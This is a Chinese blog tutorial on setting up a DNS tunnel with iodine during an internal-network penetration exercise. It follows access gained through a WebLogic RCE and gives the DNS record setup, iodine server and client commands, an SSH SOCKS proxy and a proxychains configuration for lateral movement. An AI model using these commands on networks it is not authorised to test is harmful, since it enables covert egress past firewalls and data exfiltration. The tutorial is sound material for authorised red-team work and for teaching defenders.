zoukankan      html  css  js  c++  java
  • 内网渗透之DNS隧道搭建(1)

    前言

    年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。

    DNS隧道介绍

    DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。

    1.png

    DNS隧道搭建工具推荐

    DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。

    前置准备

    因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:

    2.png

    第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"

    第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。

    最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。

    配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。

    iodine进行隧道搭建

    1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。

    apt-get install iodine

    2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:

    3.png

     iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD

    #-f:在前台运行
    #-c:禁止检查所有传入请求的客户端IP地址。
    #-P:客户端和服务端之间用于验证身份的密码。
    #-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
    #这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
    #注意!填写的地址为NS记录

    3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:

    4.png

    iodine -f -P d1m0n dns2tcp.xxx.com  -M 200

    #-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
    #-M:指定上行主机的大小。
    #-m:调节最大下行分片的大小。
    #-f:在前台运行
    #-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
    #-O:指定数据编码规范。
    #-P:客户端和服务端之间用于验证身份的密码。
    #-L:指定是否开启懒惰模式,默认开启。
    #-I:指定两个请求之间的时间间隔。

    两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:

    5.png

    到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:

    ssh -N -D 8080 user@192.168.0.1

    #-N 指示SSH不要启动shell,因为我们只是想创建代理

    #-D 设置动态端口转发,SOCKS代理端口为8080

    #user 我们服务器上的用户

    #192.168.0.1 tun接口上的iodine服务器

    6.png

    输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4

    vim /etc/proxychains4.conf 

    7.png

    最后验证一下我们的代理有没有搭好:

    proxychains4 curl http://www.baidu.com

    8.png

    大功告成,后面就是内网漫游时间~

    实验名称:DNS服务器配置

    合天智汇:合天网络靶场、网安实战虚拟环境
  • 相关阅读:
    LeetCode-034-在排序数组中查找元素的第一个和最后一个位置
    LeetCode-033-搜索旋转排序数组
    [leetcode]22. Generate Parentheses生成括号
    [leetcode]19. Remove Nth Node From End of List删除链表倒数第N个节点
    [leetcode]13. Roman to Integer罗马数字转整数
    [leetcode]12. Integer to Roman整数转罗马数字
    [leetcode]16. 3Sum Closest最接近的三数之和
    [leetcode]11. Container With Most Water存水最多的容器
    [leetcode]14. Longest Common Prefix 最长公共前缀
    [leetcode]9. Palindrome Number 回文数
  • 原文地址:https://www.cnblogs.com/hetianlab/p/15189530.html
Copyright © 2011-2022 走看看